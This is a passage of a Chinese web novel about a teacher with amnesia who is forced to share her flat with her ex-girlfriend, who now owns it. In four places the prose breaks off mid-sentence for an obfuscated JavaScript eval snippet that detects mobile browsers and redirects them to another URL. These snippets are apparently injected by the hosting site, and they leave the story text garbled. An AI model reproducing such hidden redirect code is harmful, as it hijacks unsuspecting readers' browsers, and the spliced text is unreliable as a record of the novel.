“奶奶的……东西,我都搬到学校宿舍了。”明玉的声音带着不安的迟疑,“可是景明姐,我们真的要这样瞒着姑姑么?我怕我会……” “明玉。”应景明打断她,声音沉稳却不容置疑,“你也不希望你姑姑再受一次刺激,对吗?” 电话那头沉默了很久,才传来一声带着哽咽的:“……嗯。” “你姑姑现在的情况不稳定,这也是没办法的办法。” 真的是没办法的办法么?还是说她只是害怕再一次被放弃。 这个问题,应景明暂时不去细想,“其实真失忆了也好,可以暂时忘记一些事情。” *** 七年后第三天的早晨,阮序秋一个人度过。 这个早晨于她而言是全新的开始。回顾昨天,她顺利摆脱了应景明。展望明天,她即将作为一名老师前往学校上课。 话虽如此,可望着眼前没有丝毫熟悉感的家,阮序秋一时却又不知该做些什么。 侄女明玉早早出门上早八去了,她没课,应景明帮她请了一天病假。此时置身于空旷而陌生的家里,阮序秋只觉得心神不宁。 分明已经摆脱了应景明,那种对生活的掌控感仍旧离她很远。 因为到处都是那人存在过的证据么? 阮序秋茫然了一瞬,立即着手清理卧室。 她要抹去应景明留下的一切痕迹,从空气里那丝若有似无的香水味,到床头柜上她放下的一个普通发圈。然后将房间布局装饰改回七年前。譬如书桌移到东面,床转动九十度,衣柜则需要挪到床的旁边。 她想,只要回归熟悉的环境,也许那种莫名的浮躁就会消失。 然而当她试图将书桌移回记忆中的位置时,她的膝盖竟下意识在距离书桌半步远的地方停了下来。 突如其来的身体记忆让她愣在原地。 阮序秋一怔,忙压下那股异样的情绪继续忙碌。 一个小时后终于大功告成,环顾周围,却发现房间瞬间变得拥挤起来。 强力的拖动还给木地板留下一道刺眼的痕迹,用抹布擦了擦,片刻水痕一干,那抹痕迹就又浮现出来。 似乎已经无法消失。 就像某些人,某些事,无论她多么用力地想要从生活中清除,最终总会留下无法磨灭的印记。 阮序秋吐了口气振作精神,“没事,下午买块地毯铺上。” 来到衣柜前,阮序秋着手汇总应景明遗留在她这里的衣服,预备改天给她寄回去。 即将完工,又意外在衣柜底层角落找到一件织了一半的毛衣。 毛衣装在一个红色的袋子里,叠得整整齐齐,织针还保持着原本的姿势,仿佛主人只是临时走开。 这件衣服大概是母亲留下的,不会再有别人。 阮序秋将毛衣捧起来,往地上一坐,抱在怀里怔怔地看着。 一瞬间,巨大的委屈和迷茫涌上心头。 “妈,你看,我把人生过得一团糟。”她无力地笑笑,良久,适才将其小心翼翼收好。 转眼已是中午。阮明玉迟迟没有回家,阮序秋收拾好情绪,一面下楼,一面给侄女打去电话。 “明玉,姑姑下楼买面,你想吃什么口味?” “不好意思姑姑,我下午还有课,就不回去了。”电话那头,明玉的声音带着她未曾察觉的、属于成年人的独立安排。 “有课啊……” 阮序秋只知道侄女就读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004772|194027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于附近淮海大学的医学系,这还是侄女前天亲口告诉她的,除此之外,她对七年后的侄女一无所知。 阮序秋转念想到侄女对应景明一口一个景明姐,就不禁有些怅然。要知道就在几天前,侄女还特别依赖她,就连考试作业情况都会主动跟她报备。 那句“把课表发我看看”在嘴边滚了又滚,最终咽了回去。 “行吧,那……” 就算已经和应景明分手,眼下也不再是七年前。她的侄女已经不是当年需要她拿主意的豆芽菜了。 “什么?” “没什么,好好上课。” “好。” 挂断电话,眼前是小区门口那条半新不旧的商业街。 这里也与七年前大相径庭了,街上店面换了一轮又一轮,只剩零星几家店还是老样子,沙县小吃是其中之一。 阮序秋在这里长大,她妈不会做饭也没时间做饭,小时候吃的最多的除了学校食堂,也就只有这家店。 店面翻新了,但还是狭小闭仄,来来往往还是那几张熟面孔。阮序秋点了一份番茄鸡蛋面,老样子。那老板认出她,阮老师啊,说有阵子没见你来吃面,是不是谈朋友了? 阮序秋答不上来,敷衍了两句,问她女儿读大学了吧,考哪里了。别提了,考了个外省的破二本,一年到头不回家。阮序秋笑笑,孩子大了,都想出去闯闯世界。 “有什么好闯的,我就希望她像阮老师一样,在家门口上学上班嫁人,可她不争气,没考上本地的学校,还谈了个外地人!” 阮序秋还是笑,面好了,拎上就走。 回到小区,阮序秋发现18幢楼前那棵白蜡树的树叶更黄了。 阮序秋又莫名想到应景明。 树下空空荡荡,她想,那辆应景明的车也许再也不会出现在这里。 照理说,她应该感到轻松才对。可不知是不是出于身体的本能反应,那种萦绕在她心口的沉闷忽然之间加重。 就像这秋日的天空,看似高远,实则空荡荡的,没有着落。 阮序秋在原地站了一会儿,讷讷进入楼道,沿着阶梯往上面走。 七年过去了,小区还是没安电梯,楼道和那时一样昏暗,头顶的声控感应灯还是明明灭灭要死不活。有一回她妈差点为此上物业闹,说再不修就投诉了,结果碰上期末,她妈带着高三毕业班,忙忙碌碌无疾而终。 阮序秋劝说自己安下心来。 这种不适应只是暂时的,既然已经和应景明分开了,那么一切慢慢都会好起来的。 她熟练跺脚,感应灯亮起来,和七年前一样。爬上二楼,阮序秋从包里掏出钥匙,也和七年前一样。 片刻的熟悉感让阮序秋得以稍稍打起精神,然而下一秒…… 七年前的应景明光鲜亮丽,绝不可能出现在这样破旧的老小区。 阮序秋仰头望去,七年后的应景明——那个将她生活搅得稀烂的罪魁祸首——此时正背靠着她家那扇破铁门,悠哉悠哉踢石子、看指甲。 8. 第八章 “回来啦!” 阮序秋几乎本能地将钥匙牢牢攥在手心,走上去,横身挡在门前,“你来干什么?应景明,这里不欢迎你。” 应景明轻笑一声,非但没退,反而又上前半步,贴着阮序秋的耳廓低语:“阮老师觉得我还能干什么?” 她笑着垂下视线,声音轻轻的,浑身却带有一股子莫名其妙的侵略性。 阮序秋不自在地移开目光,像食草动物本能躲避一只盯着她的食肉动物。 然而就在这个瞬间,狡猾的应景明已自然地侧身,从她与门框的缝隙中滑了进去,接过了她手里的面,跟女主人似的趿拉着拖鞋进去。 “当然是来拿阮老师答应我的条件咯。”她笑得阳光灿烂,“阮老师,未来四个月就请多多指教了。” 一套动作行云流水,好像这里根本就是她的家。 “什么多多指教!”阮序秋匆匆脱鞋,烦躁将她那双也摆好,“应景明,我们已经分手了,还是你自己亲口答应的!别给脸不要脸!” 应景明轻车熟路进厨房拿了一副碗筷,回到餐桌边坐下,一面将面往自己碗里夹,一面瞥着她,“阮老师打算说话不算话哦。” 阮序秋抢过面碗,“这是一回事么!应景明,你别太离谱了!” “可是阮老师明明答、” “啊啊啊!你给我闭嘴!天杀的应景明!我真是昏了头了才会对你心软!” 阮序秋有点热,从里到外。 她又想到那天早上的事。 精神上来说,那是她的第一次。 上床,学名□□,她阮序秋,一根沉默的木头和眼前这个漂亮到惹人厌的女人。 虽然她们作为情侣肯定上了不止一次,像所有情侣那样,但…… 阮序秋咽口水。 如果住在一起真发生些什么该怎么办?情侣生活离她实在太遥远了,光是想象都让她有点受不了。 应景明忍着笑,更加洋溢,“阮序秋,你脸红了。” “我没有!”阮序秋气鼓鼓抱着面坐到餐桌另一侧,夹起一口吹了吹,斯斯文文喂进嘴里。 稍微冷静了一些,她继续说:“好,就算我答应你,可一会儿明玉就要回来了,你到时只能睡客厅,你这位大小姐跟我们挤在这简陋的两居室,合适么?” 应景明不搭腔,用筷子拌了拌,也吃起面来,“这番茄鸡蛋面你怎么吃不腻呢。” “刚谈恋爱那阵子我跟你吃过一阵子,结果没一个月就不行了,你竟然能吃二十几年,真是活见鬼。” 阮序秋气得眉头直跳,“应景明,吃完你就给我滚出去。” 应景明依旧不搭腔,死皮赖脸那样儿,看得人真来气。 阮序秋忍不了了,掏出手机给阮明玉打去电话。 接通后,那边传来侄女的一声喂。阮序秋立马挂上笑脸,好声好气道:“明玉,下课了么?一会儿晚上咱们下馆子去。” 电话里侄女却欲言又止起来。 “额,这个嘛……” “怎么了?” “姑姑,其实我上大学之后就一直住学校宿舍,室友说舍不得我。” 不用猜也知道,肯定是应景明这厮给明玉递了什么话。 阮序秋懵了两秒,没想到侄女竟然转头就把自己这个姑姑给卖了。 她更恼火,瞪着应景明,嘴上还是耐着性子哄劝:“确定么?学校哪有家里方便,你们同学朋友平时上课不是也能见面。” “那不一样,所以……对不起了姑姑,我明天早上再回去找你。” “好……” 电话挂断,阮序秋眼前随之一黑。 还没放下手机,就听见某人在那唉声叹气摇头,“侄女大不中留哦~” “阮老师也别太难过,人家毕竟不是七年前唯你是从的豆芽菜了,她有自己的生活,咱们做家长的过多干涉不太好。” 阮序秋攥紧手指,后槽牙咬得咯吱作响, 转眼…… “诶诶,你好歹让我吃完嘛,别推、” “不行,我头好晕,一定是额头的伤口发炎了……” 阮序秋忍不可忍,不留情面将人扫地出门,微笑脸:“不想发炎的更厉害就赶紧从我的眼前消失。” 正要将门关上,应景明却一手反扣住门框。 她脸上的戏谑终于褪去,露出底下从容的底色。 阮序秋大为光火,不知道她究竟哪来的底气,“我们学校见。” “阮序秋,”应景明一字一顿地开口,“你好像从来没问过,这房子现在的主人是谁。” “什么意思?”阮序秋气得发笑,“这当然是我家!” 应景明静静地看着她,眼神里带着一种近乎怜悯的平静。 “不。”她轻轻摇头,声音不大,却足以让整个世界的嘈杂瞬间静止。 “这是我家。” “一年前,你母亲就把房子卖给我了。” *** 客厅沙发,应景明悠哉悠哉喝着茶,“哈……阮老师亲手倒的茶就是好喝。” 也不知道阮序秋听没听见,应景明往角落里东翻西找的身影望了望。 “找不到的,都说房本在我家里了。” 阮序秋翻白眼,吭哧吭哧继续找。 事情还要说到一年前,也就是她妈因为她跟女人在一起而翻脸,甚至一不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004773|194027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做二不休卖了房子去环游世界,扔下她这个女儿和孙女不管。 当然,以上均为应景明单方面的说辞,阮序秋暂时还不能相信自己竟然会碰上这么离谱的事情。什么卖房子,她妈就算再崆峒,也不至于让自己这个女儿走投无路吧。 那边应景明又开始装蒜,“本来呢我是打算咱们结婚之后把房子送给你,谁知道你竟然半路把我甩了,我也只好反悔了,不过你放心,我暂时不会变动租金,你们姑侄放心住着,昂。” 这人还是这么会气人。阮序秋火冒三丈,干脆躲回卧室继续找。 借着这茬,阮序秋顺便把病历也找了找,等过几天报告下来好见医生说明情况。 虽然她一点也不想恢复记忆,但要是工作上出了什么问题可不是说笑的。 可奇怪的是,不光房本没找到,病历本更是了无踪迹,倒是在客卧床头柜下面的储蓄箱里,意外发现了一堆不明物体。 “这是……” 阮序秋将箱子拖出来,里面粉的、蓝的、大的、小的,还有相机形的、耳机形的,下面还有各色绑带,满满当当全部都是…… 阮序秋拿起其中一个小玩具,左右上下认真研究了一番,推眼镜,郑重其事按下其中一个按钮,手中的小东西立即发出激烈的振动。 阮序秋一个激灵,立即明白过来。 她抱起箱子冲回客厅。 两手一松,箱子用力砸在应景明的面前,茶水飞溅。 应景明浑身一哆嗦,看看阮序秋眼镜下一脸的羞愤欲死,再去看箱子,哦,明白了,她老婆又害臊了。 她憋着笑,往箱子里挑挑拣拣,跟菜市场挑菜似的,“害臊什么,这里可是我们妻妻最为重要的共同财产,这个,这个,还有这个,都陪我们渡过了特别美好的夜晚,还有这个,小小的,可爱吧。” 应景明拿起其中一个耳机形状的小豆豆,硅胶材质,还捏了捏,□□弹弹,“你不知道,我们有一次、” “你给我闭嘴!”阮序秋满脸通红,暴跳如雷,“不论用什么办法,把它们给我处理掉!” “暴殄天物啊,你知道这一箱多贵么?以后要是想用还得重买,多浪费钱。” “那就卖你了!” 身为社会主义三好青年,阮序秋受到的教育告诉她,性这东西与放纵直接挂钩,别说小玩具,从小到大她甚至不曾自丨慰,就算暗恋学姐,却也不曾幻想过她。 她的人生规整干净,在七年后醒来之前,阮序秋甚至觉得自己标准化的人生绝对可以在死后被纳入地府的教科书。 然而眼下,她的人生规划一塌糊涂,甚至还要面临不得不和死对头同居的窘境,真是够了。 9. 第九章 阮序秋的脸颊还在烧,羞耻得恨不得找条地缝钻进去,半个小时后,满头大汗的热意终于让她冷静了些。 从里到外翻了个底朝天,还是没有找到房本,她气喘吁吁一屁股坐在地上。 外面又传来应景明欠扁的声音:“阮老师确定不来歇会儿?” 阮序秋别无她法,只能再次给侄女打去电话。 “喂,姑姑,又怎么了?” “明玉,姑姑这里有件事情需要跟你确认确认。” “什么事?但是姑姑说话的声音为什么那么轻?” 当然是因为不想被应景明那家伙看见自己窘迫的一面啊。 阮序秋缩在门后角落,跟做贼似的捂着手机听筒,“这不重要,明玉,我们家的房子现在在谁名下?你奶奶还是我?” 明玉呆了两秒,“……什么房子?” “就我们现在住的房子啊!是在你奶奶的名下,对吧?虽然你奶奶反对我和应景明交往,但应该不至于为此把房子卖掉吧。” “这个嘛……” 阮序秋紧张咽口水,竭尽全力在心里祈求一个否定的答案。 还顺便在心里发誓:要是应景明骗她,这次一定把她扭送派出所,绝不心软! 但显然,命运是个贪玩的小孩。 “景明姐跟你说了啊……” 手机那头传来侄女极为惋惜的声音。 “本来我是想要瞒着姑姑的,那毕竟是我们从小生活到大的地方,但是……哎……” 四下瞬间死寂。 阮序秋坐在地上,她没想到最害怕的事情到底还是发生了, 到目前为止,七年后就连一件顺心事也没有发生。 她的生活脱轨了,她的名声扫地了,她的身体也背叛了她。都说物极必反,同居可是大事中的大事,预示着她未来三个月的打开方式,眼下就连她的家也…… 阮序秋茫然地环顾这个她从小长大的地方,桌子椅子凳子……每一件家具都承载着她无数的回忆。 缓了两秒,她才艰难开口,“行,我知道了。” “对了明玉,房子卖了多少钱?” “……啊?” 阮明玉对房子的市场价实在是一点概念也没有,不知如何回答,只能打字问应景明。 好在她姑姑嘴快,又问:“亏了还是赚了?” “咱们家房子买得早,虽然这两年经济形势不太好,但好歹没亏。” “那就好……”阮序秋松了口气,只要没亏那就算是不幸中的万幸。 接下去就是…… 阮序秋看向客厅。 同居是吧,行,同居就同居。 *** 回到客厅,应景明仍躺在沙发上玩游戏,自然而然,像在自己家。 虽然这里的确是她自己家。 阮序秋走过去,应景明的目光带着笑从手机界面挑起,一副早有预料的样子。 “想好了?” 阮序秋气不打一处来,暗道这个应景明简直该死,明明手里捏着她的房子,却故意装可怜博取她的同情,还跑上门说什么收留。 狗屁收留!这跟拿着条件威胁她有什么区别! 一来这里是她和明玉一起长大的家,这么多年早有感情了。二来房子虽然破旧,但胜在地段好,距离工作的地方也近,除非住学校,不然很难租到这么合适的房子。 应景明是料定了自己没办法拒绝。 可恶,这人不光没脸没皮,还心机深沉,七年后的自己究竟喜欢她些什么啊。 阮序秋没好气地走近坐在应景明距离不远处,背脊板正,郑重其事道:“合租可以,但我有几个要求。” “虽然房子是我的,不过只要阮老师不赶我走,有什么要求尽管提。” 她答应得爽快,可这话怎么说得好像自己占了她多大便宜,真让人不爽。 阮序秋蹙了蹙眉,“就算房子是你的,你也不能跟我一起睡,且如你所说,我曾支付过房租,房子使用权暂时在我,所以你睡侧卧我睡主卧,并且要把我的租金减去40%,为期三个月,三个月后你就搬出去。” “可以,还有呢?” “另外,这套房子我迟早是要买回来的,你开个价,我慢慢付。” 应景明噗嗤一声听笑了,乐在其中地看着她,“怎么慢慢付?月付还是年付?需不需要拟个合同?” 说着侧了侧身,长发漫卷,媚眼如丝,一股子妖艳劲儿。 阮序秋顿觉脸热,避开视线推了推眼镜,“按正常房贷走就可以。” 显然阮序秋是认真的,她可能连利息都要按市场价算,半点便宜也不愿占。她就是这种人。 真要那样,这笔房贷她估计得还三四十年。 应景明无奈地笑看着她,“其实只要你点头,别说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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再一不再二,就是傻子也该吸取教训了。 “签好了,阮老师请过目。”签好字,应景明将协议递还给她。 她的眼底含笑,又是那种熟悉的温柔。 阮序秋心火直烧,没好气地一把夺过来。 她将协议从上到下草草看过一遍,确认无误,快速在右下角签上自己的名字,起身道: “苦肉计来一次就够了,不然显得俗套。” 阮序秋拿着那份协议,转身回到卧室。 门关上的瞬间,她背靠着门板沉沉叹息。 客厅里传来应景明若有若无的哼歌声。 阮序秋看了看协议,又绝望地闭上眼。 实在是输得太彻底了…… 10. 第十章 七年后的第三个晚上,阮序秋和应景明正式开始了所谓的同居生活。 差不多九点,阮序秋洗漱完躺下。 她的作息一直很健康,但应景明不是,隔壁一直断断续续传来脚步声、说话声以及床垫的挤压声。 阮序秋仍旧不敢相信应景明竟然莫名其妙地跟自己住在一起,并且此刻就生活在她的隔壁,可那种恍然如梦的感觉却在逐渐消失。 “相信我,一切都是最好的安排。”阮序秋想到签完字后,应景明这样对她说。 那时阮序秋的回答是:“我不知道你在说什么。” 但其实面对应景明的胜券在握,她是满心迷茫的。 阮序秋望着天花板。 撇开昨天,这是阮序秋第一次在这间房间睡觉。在此之前,这里一直以来都是她妈妈的卧室。 她记得出门参加欢送会的时候,她妈正坐在书桌前翻看一本旧书。 她妈开始回顾年轻的时候看过的书,那几天轮到简奥斯丁的理智与情感。她的眼睛越来越不好了,书拿得越来越远。可她还不算老,五十岁,老人中的年轻人,她的身体还很硬朗,有的是力气骂阮序秋。 临出门,她们吵架了。她妈让她谈恋爱,说大学毕业了,抓紧时间找个男朋友,最好是当地的,别跟不三不四的人厮混。 这个“不三不四”指的是应景明,那时她正在门口等她一起去欢送会。 是,应景明长得好看,还是那种特别不低调、特别不讨老人喜欢的好看,但妈妈是真的觉得她不三不四么?也许并不是,她妈只是不允许自己的女儿有任何偏离既定轨道的可能性,毕竟应景明看上去是那么张扬肆意。 就算是阮序秋,有时也会对这种无孔不入的管束感到痛恨,可她从未想过原来自己是真的能够为此反抗妈妈,而妈妈也是真的可能离开自己,就因为自己和一个“不三不四”的女人谈了一段不合她心意的恋爱。 这,真的算是最好的安排么? 雨声,雨声。簌簌,簌簌。 阮序秋翻了个身,睡意全无。 她掏出手机。 她的手机里空空荡荡什么也没有,但是妈妈的号码总不会忘记。 阮序秋轻车熟路输入一串数字。 当按下最后一个数字,动作却突然顿住。 她抬起手指,犹豫良久,却迟迟无法按下那个绿色的按键。 应该和妈妈说些什么? 说她失忆了,所以和应景明分开了么?那她们现在住在一起又算什么? 而且就算妈妈原谅了她,之后呢?继续找男朋友结婚么?现在的自己恐怕没有七年后自己的那份勇气。 算了,还是等四个月后应景明搬走再说好了。 阮序秋收起手机闭上双眼。 翻来覆去好半天,却怎么都睡不着。阮序秋懊恼地睁开眼,这时,门外不期然传来敲门声: “我饿了,想吃点宵夜,阮老师一起啊。”应景明语气愉快明朗,没有丝毫睡意。 阮序秋烦躁看向时钟,都快十点了,“不吃,我要睡觉。” “行,我这就看看有没有人想收了这套老破小。” *** 这片大学城热闹,无论几点,街上多的是小吃摊,光从这头点到那头,街上亮堂堂的,学生来来往往。以前这样,现在还是这样。 一下楼应景明就沿街买了一根烤肠,她吃得津津有味,说着还往阮序秋的嘴边递。 阮序秋躲开,脸色依旧不好看,“真不敢相信你竟然是老师,还是大学老师。” “这叫生活态度。——确定不来一口?很香的。” “谢谢不用,我本来就不饿,如果不是你非要拉着我,我现在已经睡着了。” 晚上十点的街道对七年前的阮序秋来说特别陌生,大学毕业为止,十点门禁还是她生活中一条重要的法条。 撇开欢送会那天晚上,这还是第一次。可她已经过了为此好奇的年纪,现在的她就像她妈一样,心里挺嗤之以鼻。 此时,这种嗤之以鼻明白写在脸上。 应景明又笑,像看着一个假正经的孩子,“放松点,偶尔破破戒不会少块肉的。” 阮序秋双臂环胸,“少管我。” 七年后,就连烧烤摊也换了一波人,沿着街道往前走,街边是几家烧烤摊和海鲜铁板摊,都不用看,刺啦刺啦的油煎声,火烧火燎的碳烤味,街上烟雾弥漫,简直香得无法无天。 那段细细的脖颈偷偷滚动了两下,可惜再小心也没用,应景明火眼金睛立即捕捉。 烤肠吃完了,她将木棍扔进垃圾桶,径直朝着烧烤摊走去,“夜宵怎么能少了烧烤呢,老板,来两串羊肉串,两串烤年糕。”又悄悄对阮序秋说:“少吃点垫垫肚子,一会儿咱们去吃铁板鱿鱼。” “我一点也不想知道你的夜宵计划。” 应景明当没听见,一脸阳光灿烂付了钱,和老板攀谈起来。 老板是对姐妹,一两分钟的功夫,应景明就跟她们熟络得什么似的,说现在经济不景气,唉,都难,我和我女朋友还差点双双失业。老板一脸尴尬,你们是……哦哦,就说怎么看着这么般配。应景明越演越起劲,角色是即将三十岁危机一事无成的社会边缘女同志。 阮序秋推眼镜,默默鄙视这个人,可这个人竟然意图拉她一起演。 “老婆,你说对吧。”特别哀戚地望着她。 对个头啊。 “对、对……”其实她压根没听应景明说了什么。 聊到这里,羊肉串差不多好了,应景明笑着接过。 咬了一口,又笑眯眯往她的嘴边递,“啊,来吃一口。” “不吃。” “相信我,保准你爱上。” 阮序秋跟她犟上了,一言不发扭头就走。 “诶你、” 应景明话音突然卡住,因为没出两步,阮序秋就顿在了原地。 她的面前站着两个特别眼熟、同时特别不愿再次看到的人。 “警官,这么巧啊……” 是那天早上的两个警察,她们站在一起,和出现在她家门口的样子一模一样。 阮序秋和应景明呢,先前还恨不得把对方送进监狱的两个人,此时看着似乎挺恩爱。 阮序秋有点毛毛的,好像做贼被发现了。 可应景明仍旧毫无自觉,她大口大口吃着炭烤年糕,笑说:“警察也吃路边摊啊。” “警察也是人。”短头发的说。 “而且我们不是城管。”另一个长头发的说,“倒是你们。”她将视线移到阮序秋身上,挑眉,“脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004775|194027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子治好了?” “……快了。”阮序秋瞎答。 “难怪……”点着头,脸上却明明白白是被她们两个骗了的表情。 “额……”阮序秋欲言又止,止言又欲,最终决定还是赶紧溜号。 她给应景明使了两个眼色,结果这人竟然满心满眼都是烧烤,扯都扯不动。 阮序秋打算撂下她先行离开,却听见一旁烧烤摊老板问警官:“脑子出了什么毛病?” 短发警官:“她失忆了,前两天早上报警抓她女朋友来着。” 老板面露忧色,“你们不是失业了?以后该怎么办?工作找到了么?” “失业?”长发警官警觉眯眼,看向她和应景明,“大学老师也会失业?” 完蛋…… 阮序秋脚趾扣地,忙解释,“差点失业,差点,呵呵……” “经济真是不景气,大学老师都……” 阮序秋僵硬卖笑,连说了几个警官慢用,就一把拉过激情进食的应景明逃走。 走开一段距离才敢回头,阮序秋崩溃扶额,“她们是不是以为我报假警了?” “以为以为去呗,你又没有。” “那也、应景明,你怎么还在吃啊。” “因为没吃完啊,你要不要来一根,我吃不下两人份。” “有完没完,都说不吃了。” “也不知道现在房价降了多少,我来看看。” 几分钟后…… “老板,一份铁板鱿鱼!”铁板摊前,应景明踊跃举手,并问身旁的阮序秋,“你要不要?” 阮序秋手里一支炭烤年糕,咀嚼,顺便瞪她。 “好啦好啦,知道你不要啦。” *** 回去路上,阮序秋几乎把应景明瞪穿。 阮序秋这辈子没这么无语过,做了二十几年的三好学生,有朝一日竟然成了一个报假警的恋爱脑。 “我还是不敢相信,应景明,你这货竟然是大学老师。”阮序秋咬着牙根。 应景明却笑着,“阮序秋,你也是老师。” 她没看她,还是特别闲散的走路姿势,让阮序秋不由自主皱起眉。 “放轻松,我知道你大概很慌张很无所适从,但生活就是这样,无论发生什么都不会轻易完蛋。” 她们碰上几个学生。 快十一点了,学生跑得飞快,喊着老师再见,说赶不上宿舍门禁了,应景明则在后面给她们加油鼓劲,然后对她说: “序秋,你可以偶尔破破戒,你是一个还算优秀的成年人,拥有这个权利。” 自己优秀么? 阮序秋并不觉得,她只是按照计划成为了一名老师。 阮序秋从小的目标就是成为一名老师,可这并不是她自己的目标,而是她妈妈给她的。 老师啊…… 说起来,她明天就得去给别人上课了。 应景明突然加快脚步,“好冷,我们赶紧回去。” 阮序秋紧随其后,“应景明,我再也不要跟你出来吃夜宵了。” “怎么了嘛,夜宵不香么?” “……” “哦,你又咽口水了。” “我没有!” “就当作没有好了。” “本来就没有!” 11. 第十一章 对新生活的不安让阮序秋失眠了,将近四点才堪堪闭上双眼。 没等睡熟,外面就接连传来开门声说话声,以及金属或者盘子的摩擦声。 浓郁的食物香气幽幽传来,紧接着—— 嘭一声关门声。 阮序秋浑身一个激灵,彻底清醒了。 她一骨碌坐起来,踏上拖鞋就猪突猛进冲去客厅。 “应景明,一大早你在、”阮序秋噎住。 她家也就八十来平,两室一厅,客厅实在不大,更别说餐桌了,然而此时那方小小的餐桌上竟然摆放着各式各样的早点。一只陌生花瓶竖在密密麻麻的盘子之间,里面还插着几枝带有水珠的蜜桃雪山玫瑰。泛着绸缎光泽的桌布铺得整整齐齐,都不知道是哪来的。 昨晚才刚成为她室友的某人,此时正勾着一盏精致的西式茶杯坐在餐桌前,活脱脱的矜贵大小姐样。 阮序秋方要张口询问,只见一位围着围裙的中年女人端着一盘晶莹剔透的广式虾饺从厨房出来。 这个女人衣着打扮很是体面,举止也有礼,对上她的目光,特别和蔼可亲地微笑。 虽然但是,阮序秋根本不认识她。 正在玄关脱鞋的侄女阮明玉亦是一头雾水,吃惊的表情凝固了片刻,见她从房里出来,向她走来。 “这是怎么回事?” 阮序秋哪里知道。 她来到应景明的面前,这才发现满满一桌子,从豆浆油条到司康松饼,市面上常见的早餐几乎都有。 阮序秋深吸一口气,告诉自己要冷静,她看向应景明,“应景明,你在搞什么?” 应景明呷了口香醇的红茶,优雅且稀松平常,“不用太吃惊,未婚妻的基本待遇罢了。” “去你的未婚妻!我警告你应景明,别、” “请别怪罪大小姐,”那个中年女人这时忽然开口,那种特别郑重,特别温柔的口吻,“是我擅自想来看你们的。” 阮序秋如鲠在喉。 伸手不打笑脸人,面对女人温和有礼的笑容,阮序秋到底只能闭嘴,改口道:“请问您是……” “我是大小姐家里的阿姨,姓徐。” 女人将两手搭在身前,说完上前,在阮序秋和阮明玉的面前停下脚步,视线逡巡—— 同样的简单束发,同样戴眼镜,长得也像,但是一个年长,一个年轻。 下一刻,徐姨毫不犹豫握住阮明玉的手,“您就是阮小姐吧,这位是您的妈妈?”又看向阮序秋,笑得更加温柔和煦,圣光普照,“阮妈妈真是年轻,一点也不像是生过孩子的人。” “那个,您好像弄错了,我不是、” 阮序秋的脸色已经黑成锅底,阮明玉想要挣脱,可谁知这徐姨才松开,转又一把抓住阮序秋的手。 “我都听说了,您是单亲妈妈,把阮小姐养育得这么优秀,这么多年真是辛苦您了。” 她自说自话,差点老泪纵横,“不好意思我失态了,我从小看着大小姐长大,她就相当于是我的女儿,这都七年了,能看着她们修成正果,我实在太高兴了。您不知道,大小姐都好些年没回家了。” 阮明玉终于抓到话口,“您误会了,我真的不是、” “没事,”阮序秋推眼镜冷冷启唇,“您还有其它想说的么?” 徐姨愣了一下,猜想阮妈妈可能还是不同意她们在一起,马上找回状态,“您放心,大小姐一定会让您的女儿幸福的,时代不同了,现在两个女孩也能结婚,我也会好好照顾阮小姐的。” 阮序秋提了提嘴角,咬住牙根瞥向应景明,“应小姐觉得呢?” 应景明憋笑憋得腮帮子都酸了,慢条斯理来到阮序秋的身边,当着徐姨的面看看勾住阮序秋的肩,“徐姨你弄错了,这才是我的女朋友,旁边是侄女。” 话音落下,那徐姨整个眼珠子都瞪大了,倏然撒开她的手后退半步,不住鞠躬道歉:“不好意思,我只听说阮小姐家里单亲就以为、是我误会了!” 阮序秋不理解,她看着很老么?她才二十八岁,别说孩子了,连婚都没结过,还是说应景明跟她家里说了什么? 阮序秋不爽透顶,几个字顺着牙缝挤出来,“应景明,我真的会谢谢你全家,还有,”狠狠一个肘击,“别碰我。” 应景明护住肋骨熟练一躲,“都是一家人,真的不用那么客气。” “谁跟你一家人!”这句话没出口,徐姨就亲热地拉住她,“真是对不住!阮小姐,请给我个赔罪的机会,快来尝尝早餐!” 阮序秋不喜欢也不习惯和陌生人肢体接触,她不悦抽回自己的手,“不用,你们吃就好,以后也请别准备我那份,我习惯在楼下的早餐店用餐。”说完,便向厕所走去,假装没听见身后徐姨的叹息。 *** 结果最后还是回来坐下了。 桌上,阮序秋的脸色还是不好。 与之相反,应景明颇为得意自如,说好久没有享受大小姐的待遇了,真是令人怀念。 见她还在生气,又笑呵呵地劝:“别生气嘛,徐姨她不是故意的,要怪就怪我,是我没说清楚。” 